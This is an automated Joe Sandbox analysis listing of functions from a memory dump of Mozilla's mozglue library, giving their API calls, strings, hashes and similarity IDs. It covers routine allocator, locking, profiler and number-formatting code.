Opcode Fuzzy Hash: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction Fuzzy Hash: 11E19FB1A043408FD710CF68884165BFBE9BFA9314F158A2DE895E7791DB70ED098B91

Function 6C98D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D6A6
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D712
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C98D82C
<jemalloc>, xrefs: 6C98D827

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction ID: aa36dea1bc415cec6ac9dc55b4b33a3a95915be77ebb6fc5544f70e4c791609c
Opcode Fuzzy Hash: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction Fuzzy Hash: E991C072A097068FDB54CF29C49022AB7E5FFA9714F248D2FE45A87B85D730E840CB81

Function 6C985E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2
memset.VCRUNTIME140(6C9C7765,000000E5,9EC09015), ref: 6C9861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C987652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C98730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C987BCD, 6C987C1F, 6C987C34, 6C9880FD
MOZ_CRASH(), xrefs: 6C987BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9872E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9872F8

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction ID: ef0e232994f97a4720211965b034ab0b2b3b809d56b292e660a808940fe7bba2
Opcode Fuzzy Hash: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction Fuzzy Hash: 92337C716167018FD308CF29C590715BBE2BF85328F29CAADE96A8F7A5D731E841CB41

Function 6C963480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C96350E
__Init_thread_footer.LIBCMT ref: 6C963522
__aulldiv.LIBCMT ref: 6C963552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C96357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963592

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

kernel32.dll, xrefs: 6C9634EA
GetSystemTimePreciseAsFileTime, xrefs: 6C963508

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction ID: 648fb938fede8a9c6fb3ecaed2b143ec0ed9b7b747dc9823ce8965afd75ab121
Opcode Fuzzy Hash: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction Fuzzy Hash: 2331C771B042099BDF40DFB5D848AAE7779FF6E708F24441AE505D3A90DB31D904CBA0

Function 6C9C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4F2E
moz_xmalloc.MOZGLUE ref: 6C9C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52E6
Sleep.KERNEL32(00000010), ref: 6C9C5481
free.MOZGLUE(?), ref: 6C9C5498

Strings

(, xrefs: 6C9C5250

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction ID: 906b5c8a08bf72acfc951c83787694e70620791c3a60e6fdf97a3e14fa3afd2d
Opcode Fuzzy Hash: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction Fuzzy Hash: 50F1A271A18B408FC716CF39C85062BB7F9AFE6284F158B2EF846A7651DB31D445CB82

Function 6C977810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C977885
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9778A5
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C9778AD
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C9778CD
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9778D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9778E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C97795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9779BB
LeaveCriticalSection.KERNEL32(?), ref: 6C977BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C977C82
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C977CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C977DAF

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction ID: ba170a5d3daaf6b335d6b3da00ff7b02fed92d99bee23564c8c0ce7ba07f244f
Opcode Fuzzy Hash: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction Fuzzy Hash: 1B027471A0521ACFDB65CF19C584799B7B5FF98314F2942AAD809A7701D730ED90CF90

Function 6C9C5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9C6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C96EE51,?), ref: 6C9C6046
OutputDebugStringA.KERNEL32(?,6C96EE51,?), ref: 6C9C6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9E148E), ref: 6C9C6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C96EE51,00000000,?), ref: 6C9C60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C60C4

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction ID: d92c8d129c0a24130f979a2f763636445208d064b71910aab2c04378a409b6b7
Opcode Fuzzy Hash: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction Fuzzy Hash: AF21E771A003089FDF10AF25DC09BAE7BB8FF59214F108428E85AA7241CB35E558CFD6

Function 6C9C7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9C7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9C7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C707E

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C709C
LocalFree.KERNEL32(?), ref: 6C9C70AA

Strings

### ERROR: %s: %s, xrefs: 6C9C7087
(null), xrefs: 6C9C706A, 6C9C7083

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction ID: 50fe69005c182e798a9f15668ccba81107089ea7272f5e11be6f008f9f28ce09
Opcode Fuzzy Hash: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction Fuzzy Hash: B001F9B1A00204AFDB40ABA4DC0ADAF7BBCEF5D215F110438FA05A3241E631A9148BE5

Function 6C989E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C989EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C989F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C989F34
LeaveCriticalSection.KERNEL32(?), ref: 6C98A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98A8B1, 6C98A8D4, 6C98A8EF

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction ID: 5fbc5079064593bcb9c93d3442eddf73db190925f6fb4ff7465c25f263bc933a
Opcode Fuzzy Hash: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction Fuzzy Hash: 5D728D72A067118FD714CF28C540215FBE5BF89328F2ACAADE8699B7D1D735E841CB80

Function 6C9B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B2C61

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B2E2D

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

Strings

(root), xrefs: 6C9B354F
ProfileBuffer parse error: %s, xrefs: 6C9B2E3B
expected a Time entry, xrefs: 6C9B2E36

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction ID: 0e82305e77267a25958e945baa88ae0951f10a098b746c708860881212eb99dd
Opcode Fuzzy Hash: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction Fuzzy Hash: 4791BFB0608B40AFC724CF24C49469FB7E5EFD9358F10891DE59AAB750DB30E949CB52

Function 6C98C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C98C317
MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction ID: d6823aab76d6d217b7a1c47d9074fd7f92bfa692dc26a7ff4b3ebf7128c90589
Opcode Fuzzy Hash: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction Fuzzy Hash: E552C13160A3428FD724CF28C49076AB7E6FF8A318F248E1ED99687B95D735D845CB42

Function 6C9C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9C9F3D
__aulldiv.LIBCMT ref: 6C9C9F77
__aullrem.LIBCMT ref: 6C9C9F8C
__aulldiv.LIBCMT ref: 6C9CA023

Strings

NaN, xrefs: 6C9C9EAB
-Infinity, xrefs: 6C9C9E60, 6C9C9E7B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction ID: 2d046e7d8ccc60130126665580cd21b528b909adca834dcfbe03bef720b97a9b
Opcode Fuzzy Hash: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction Fuzzy Hash: 22C1BF31F04319CBDB14CFA8C8507AEB7B6AB95318F144529D406ABB80DB71ED49CB92

Function 6C96D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C96DAF6
-, xrefs: 6C96D7DD
8, xrefs: 6C96DC08
9, xrefs: 6C96DE7F
1, xrefs: 6C96DBDD
0, xrefs: 6C96DC7F
0, xrefs: 6C96D852
, xrefs: 6C96DA88

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction ID: a0901f222cd8859a407b961e5c55f7510dac1a46e8bb02b0adb94351604edb07
Opcode Fuzzy Hash: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction Fuzzy Hash: 3362BC7250D3458FE701CE2AC09076ABBE6AF86358F284A4DE4E54BFD5C335D985CB82

Function 6C979F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C97A625
1, xrefs: 6C97A824
0, xrefs: 6C97AB22
' , xrefs: 6C97A3D8
0, xrefs: 6C97A100
9, xrefs: 6C97A5D6

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction ID: a1be253c2caa14fe329c049bd74b65482e8243ccad3493cbe9aed38c26178273
Opcode Fuzzy Hash: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction Fuzzy Hash: BB82E13190B3118BD730CF19C48426EB7F6FB81718F55A92AE89547E90DB35E885CBA2

Function 6C96BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C96C1CB
__aulldiv.LIBCMT ref: 6C96C24C
__aulldiv.LIBCMT ref: 6C96C348
__aullrem.LIBCMT ref: 6C96C365
__aulldiv.LIBCMT ref: 6C96C37D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2198b8d92d22e8dc58fa359ef4a537a2fc8e157b52ebe8a950d52e9ade9fa540
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 51323832B046018FDB18DE2DC890666BBE6AFD9310F09866DE895CB7D5D730DD05CB91

Function 6C9D545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D8A4B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

